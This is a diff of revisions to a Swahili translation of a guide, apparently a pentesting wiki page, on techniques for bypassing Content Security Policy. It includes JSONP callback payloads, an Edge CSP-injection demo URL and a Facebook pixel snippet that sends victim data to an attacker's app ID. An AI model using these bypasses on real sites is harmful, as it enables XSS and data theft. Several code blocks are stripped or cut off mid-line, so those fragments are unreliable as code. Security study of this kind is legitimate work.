-Kutoka hapa, ikiwa unapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
+Kutoka hapa, ikiwa utapata XSS na upakiaji wa faili, na unafanikiwa kupata **kiambatisho kilichokosewa**, unaweza kujaribu kupakia faili yenye kiambatisho hicho na Maudhui ya skripti. Au, ikiwa seva inakagua muundo sahihi wa faili iliyopakiwa, tengeneza polyglot ([mfano kadhaa za polyglot hapa](https://github.com/Polydet/polyglot-database)).
### Form-action
-Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kuhamasisha kwa mfano akidi **kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunika hatua za fomu.
+Ikiwa haiwezekani kuingiza JS, bado unaweza kujaribu kutoa kwa mfano akidi **kwa kuingiza hatua ya fomu** (na labda kutarajia wasimamizi wa nywila kujaza nywila kiotomatiki). Unaweza kupata [**mfano katika ripoti hii**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Pia, zingatia kwamba `default-src` haifunika hatua za fomu.
### Third Party Endpoints + ('unsafe-eval')
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
"
>
```
-#### Payloads kutumia Angular + maktaba yenye kazi zinazorejesha `window` object ([angalia chapisho hili](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
> [!NOTE]
-> Chapisho linaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au maktaba nyingine yoyote ya JS iliyoruhusiwa), kutekeleza kazi zote zilizoongezwa kutoka kila maktaba, na kuangalia **ni kazi zipi kutoka maktaba zipi zinazorejesha `window` object**.
+> Post hii inaonyesha kwamba unaweza **kupakia** maktaba zote kutoka `cdn.cloudflare.com` (au repo nyingine yoyote ya maktaba za JS zilizo ruhusiwa), tekeleza kazi zote zilizoongezwa kutoka kila maktaba, na angalia **ni kazi zipi kutoka kwa maktaba zipi zinazorudisha `window` object**.
```markup
@@ -230,7 +230,7 @@ Angular XSS kutoka kwa jina la darasa:
aaa
```
-#### Kutumia vibaya msimbo wa google recaptcha JS
+#### Kutumia vibaya msimbo wa JS wa google recaptcha
Kulingana na [**hii CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) unaweza kutumia vibaya [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) ndani ya CSP ili kutekeleza msimbo wa JS wa kiholela ukipita CSP:
```html
@@ -266,15 +266,15 @@ URL ifuatayo inaelekeza kwa example.com (kutoka [hapa](https://www.landh.tech/bl
```
https://www.google.com/amp/s/example.com/
```
-Kukandamiza \*.google.com/script.google.com
+Kunyanyasua \*.google.com/script.google.com
-Inawezekana kukandamiza Google Apps Script ili kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
+Inawezekana kunyanyasua Google Apps Script kupokea taarifa katika ukurasa ndani ya script.google.com. Kama inavyofanywa katika [ripoti hii](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
### Mipangilio ya Tatu + JSONP
```http
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
-Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupitishwa kwa kutumia JSONP. JSONP endpoints zinaruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, mzigo unaofanya kazi:
+Mifano kama hii ambapo `script-src` imewekwa kuwa `self` na kikoa maalum ambacho kimeorodheshwa kinaweza kupuuziliwa mbali kwa kutumia JSONP. JSONP endpoints huruhusu mbinu zisizo salama za callback ambazo zinamruhusu mshambuliaji kutekeleza XSS, payload inayofanya kazi:
```markup
">
">
@@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **ina mwisho wa JSONP tayari kutumika kwa CSP bypass ya tovuti tofauti.**
-Uthibitisho sawa utaonekana ikiwa **mwandiko wa kuaminika una Open Redirect** kwa sababu ikiwa mwandiko wa awali unakubaliwa, uelekeo unakubaliwa.
+Uthibitisho sawa utaonekana ikiwa **mwisho wa kuaminika una Open Redirect** kwa sababu ikiwa mwisho wa awali unakubaliwa, redirects zinakubaliwa.
### Matumizi Mabaya ya Watu wa Tatu
@@ -318,11 +318,11 @@ Unapaswa kuwa na uwezo wa kuhamasisha data, kama ilivyokuwa kila wakati na [Goog
1. Unda akaunti ya Mdevelopment ya Facebook hapa.
2. Unda programu mpya ya "Facebook Login" na uchague "Website".
3. Nenda kwenye "Settings -> Basic" na pata "App ID" yako.
-4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja gadget ya Facebook SDK "fbq" kupitia "customEvent" na payload ya data.
+4. Katika tovuti unayotaka kuhamasisha data kutoka, unaweza kuhamasisha data kwa kutumia moja kwa moja kifaa cha Facebook SDK "fbq" kupitia "customEvent" na mzigo wa data.
5. Nenda kwenye "Event Manager" ya programu yako na uchague programu uliyounda (kumbuka meneja wa matukio unaweza kupatikana katika URL kama hii: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. Chagua tab "Test Events" ili kuona matukio yanayotumwa na "tovuti yako".
-Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji ya Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
+Kisha, upande wa mwathirika, unatekeleza msimbo ufuatao kuanzisha pixel ya ufuatiliaji wa Facebook ili kuelekeza kwenye app-id ya akaunti ya developer ya mshambuliaji na kutoa tukio maalum kama hili:
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
@@ -333,7 +333,7 @@ Kuhusu maeneo mengine saba ya tatu yaliyotajwa katika jedwali lililopita, kuna n
### Bypass kupitia RPO (Relative Path Overwrite)
-Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye baadhi ya seva.
+Mbali na kuelekeza hapo juu ili kupita vizuizi vya njia, kuna mbinu nyingine inayoitwa Relative Path Overwrite (RPO) ambayo inaweza kutumika kwenye seva zingine.
Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inaweza kupitishwa kama ifuatavyo:
```html
@@ -341,13 +341,13 @@ Kwa mfano, ikiwa CSP inaruhusu njia `https://example.com/scripts/react/`, inawez
```
Kivinjari hatimaye kitaongeza `https://example.com/scripts/angular/angular.js`.
-Hii inafanya kazi kwa sababu kwa kivinjari, unaload faili inayoitwa `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
+Hii inafanya kazi kwa sababu kwa kivinjari, unachaji faili iliyo na jina `..%2fangular%2fangular.js` iliyoko chini ya `https://example.com/scripts/react/`, ambayo inakubaliana na CSP.
-∑, wataifungua, kwa ufanisi wakitafuta `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
+∑, wataifungua, kwa ufanisi wakifanya ombi la `https://example.com/scripts/react/../angular/angular.js`, ambayo ni sawa na `https://example.com/scripts/angular/angular.js`.
Kwa **kutumia ukosefu huu wa uwiano katika tafsiri ya URL kati ya kivinjari na seva, sheria za njia zinaweza kupuuziliwa mbali**.
-Suluhisho ni kutotreat `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili.
+Suluhisho ni kutotenda `%2f` kama `/` upande wa seva, kuhakikisha tafsiri inayofanana kati ya kivinjari na seva ili kuepuka tatizo hili.
Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
@@ -361,29 +361,29 @@ Mfano Mtandaoni:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin
Ikiwa **base-uri** haipo unaweza kuitumia vibaya ili kufanya [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
-Zaidi ya hayo, ikiwa **ukurasa unaload script kwa kutumia njia ya relative** (kama `
```
-From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
+Kutoka: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **itekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Unaweza pia kutumia usanidi huu **kupakia msimbo wa javascript ulioingizwa ndani ya picha**. Ikiwa kwa mfano, ukurasa unaruhusu kupakia picha kutoka Twitter. Unaweza **kuunda** **picha maalum**, **kuipakia** kwenye Twitter na kutumia "**unsafe-inline**" **kutekeleza** msimbo wa JS (kama XSS ya kawaida) ambayo it **pakia** **picha**, **itoa** **JS** kutoka kwake na **utekeleze** **hiyo**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Na Wafanyakazi wa Huduma
@@ -472,15 +472,15 @@ Unaweza kupata mfano hapa: [http://portswigger-labs.net/edge_csp_injection_xndhf
#### Edge
-Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **ondoa** sera yote.\
+Katika Edge ni rahisi zaidi. Ikiwa unaweza kuongeza katika CSP tu hii: **`;_`** **Edge** it **afuta** sera nzima.\
Mfano: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E]()
### img-src \*; kupitia XSS (iframe) - Shambulio la Wakati
Tazama ukosefu wa agizo `'unsafe-inline'`\
-Wakati huu unaweza kumfanya mwathirika **paku** ukurasa katika **udhibiti wako** kupitia **XSS** na `